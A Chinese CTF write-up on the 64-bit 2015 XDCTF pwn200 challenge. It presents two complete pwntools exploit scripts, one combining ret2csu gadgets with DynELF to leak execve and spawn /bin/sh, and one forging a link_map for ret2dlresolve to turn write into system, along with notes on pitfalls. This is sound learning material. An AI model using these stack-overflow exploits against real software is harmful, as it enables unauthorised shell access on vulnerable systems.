0%

万能pop+DynELF经典组合(附加ret2dlresolve)

事情的起因是我遇到了一道做过的题目,它的代码完全没有改变,只是程序变成了64位

以前我用DynELF直接打通了32位,现在来看64位发现少了一个gadget,于是我脑袋抽了,用“ret2dlresolve”搞了一上午

后来想到了利用“ret2csu”来控制DynELF中的“write”函数

发现这种组合的通用性还挺高,只要程序溢出至少“136字节”就可以打

于是想记录一下,让今后的我少走点弯路


2015-xdctf-pwn200

1641183143407

一次输入

1641183182063

1641183191422

64位,dynamically,开了NX

1641183209046

1641183233342

没有system,没有“/bin/sh”

函数write可以输出的值就是字符串的长度“23字节”

vuln中有read,可以输入“256字节”

入侵思路

1641183449006

程序溢出了“144字节”,有write函数,可以有多种方法打通

DynELF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

p=process('./main_partial_relro_64')
elf=ELF('./main_partial_relro_64')
#context(log_level='debug',arch='amd64')
write_got=elf.got['write']
read_got=elf.got['read']
main_addr=0x40066E
fun_addr=0x400637
bss_addr=0x601050+0x200

csu_front_addr=0x000000000400780
csu_end_addr=0x00000000040079A
print("write_got >> "+hex(write_got))

def csu(rbx, rbp, r12, r13, r14, r15, last):
payload = b'a'*0x70 + b'b'*0x8
payload += p64(csu_end_addr)
payload += p64(rbx) + p64(rbp)+p64(r12) +p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
p.send(payload)
sleep(1)

def leak(addr):
p.recvuntil("Welcome to XDCTF2015~!\n")
csu(0, 1, write_got, 1, addr, 8, main_addr)
data=p.recv(8)
log.info("%#x => %s" % (addr, (data or '').encode('hex')))
return data

d=DynELF(leak,elf=elf)

execve_addr=d.lookup('execve','libc')
print("execve_addr: "+hex(execve_addr))

payload=p64(execve_addr)+b'/bin/sh'
csu(0, 1, read_got, 0, bss_addr, len(payload), main_addr)
p.send(payload)

csu(0, 1, bss_addr, bss_addr+8, 0, 0, main_addr)

p.interactive()

注意:(每一条都是血的教训)

因为DynELF模块在执行的过程中会输出一下字符串,所以“p.recvuntil”必须有

不同程序的csu可能不同,有时需要修改模板

另外我也尝试过用“system”但是打不通(可能是环境问题)

1
csu(0, 1, write_got, 1, addr, 8, main_addr)

用csu包装的函数视乎只认识GOT表,用其他的就报错

1
2
3
4
5
6
payload=p64(execve_addr)+b'/bin/sh'
csu(0, 1, read_got, 0, bss_addr, len(payload), main_addr)
#read(0, bss_addr, len(payload))
p.send(payload)
csu(0, 1, bss_addr, bss_addr+8, 0, 0, main_addr)
#execve('/bin/sh', 0, 0)

必须利用“read”把泄露出来的“execve”写在某个地址上,只有这样才可以调用“execve”

​ //我也尝试过用其他姿势来调用“execve”,但是都报错了


ret2dlresolve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *  
context(os='linux',arch='amd64',log_level='debug')

r = process('./main_partial_relro_64')
elf = ELF('./main_partial_relro_64')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so') #程序使用这个库文件
read_plt = elf.plt['read']
write_got = elf.got['write']
vuln_addr = elf.sym['vuln']

bss = 0x601050
bss_stage = bss + 0x100
l_addr = libc.sym['system'] -libc.sym['write']
#目标函数和已知函数的偏移(把‘write’重定位成‘system’)

pop_rdi = 0x4007a3
pop_rsi = 0x4007a1
plt_load = 0x400506 #plt[1](dl_runtime_resolve)

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
#offset为负数,可以用‘(2 ** 64 - 1)’来控制范围
linkmap = p64(offset & (2 ** 64 - 1))
linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8)
return linkmap

fake_link_map = fake_Linkmap_payload(bss_stage, write_got ,l_addr)
payload = flat( 'a' * 120 ,pop_rdi, 0 , pop_rsi , bss_stage , 0 , read_plt , pop_rsi , 0 ,0 , pop_rdi , bss_stage + 0x48 , plt_load , bss_stage , 0 )

"""
read_plt触发时输入‘fake_link_map’,plt_load就是dl_runtime_resolve,控制程序手段执行dl_runtime_resolve,此时‘bss_stage’被当做第一个参数,‘0’被当做第二个参数
"""

r.recvuntil('Welcome to XDCTF2015~!\n')
r.sendline(payload)

r.send(fake_link_map) #把write重定位为system

r.interactive()

可以来看一下fake_Linkmap_payload的栈帧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0000| fake_linkmap_addr+0x00  --> offset //DT_STRTAB(随便设置的)
0008| fake_linkmap_addr+0x08 --> 0 //DT_JMPREL
0010| fake_linkmap_addr+0x10 --> fake_linkmap_addr + 0x18
0018| fake_linkmap_addr+0x18 --> fake_linkmap_addr + 0x30 - offset
0020| fake_linkmap_addr+0x20 --> 0x7
0028| fake_linkmap_addr+0x28 --> 0
0030| fake_linkmap_addr+0x30 --> 0
0038| fake_linkmap_addr+0x38 --> 0 //DT_SYMTAB
0040| fake_linkmap_addr+0x40 --> known_func_ptr - 0x8
0048| fake_linkmap_addr+0x48 --> b'/bin/sh\x00'
....................................
0068| fake_linkmap_addr+0x68 --> fake_linkmap_addr
//对应的值是DT_STRTAB的地址(fake_linkmap_addr)
0070| fake_linkmap_addr+0x70 --> fake_linkmap_addr + 0x38
//对应的值是DT_SYMTAB的地址(fake_linkmap_addr + 0x38)
....................................
00f8| fake_linkmap_addr+0xf8 --> fake_linkmap_addr + 0x8
//对应的值是DT_JMPREL的地址(fake_linkmap_addr + 0x8)

dl_runtime_resolve被手动调用时,会读取“bss_stage”上的数据为“link_map”然后获取“JMPREL”,“SYMTAB”,“DT_STRTAB”,问题的关键就在于把它们三个的 “索引” 都弄成“0”,才能进行伪装

这种伪装方式不需要“JMPREL”,“SYMTAB”,“DT_STRTAB”的地址,只要一个已知函数的GOT表地址,和libc版本就可以了


注意:

1641234781843

重定位入口的符号类型(一般为“0x7”)在“JMPREL”中看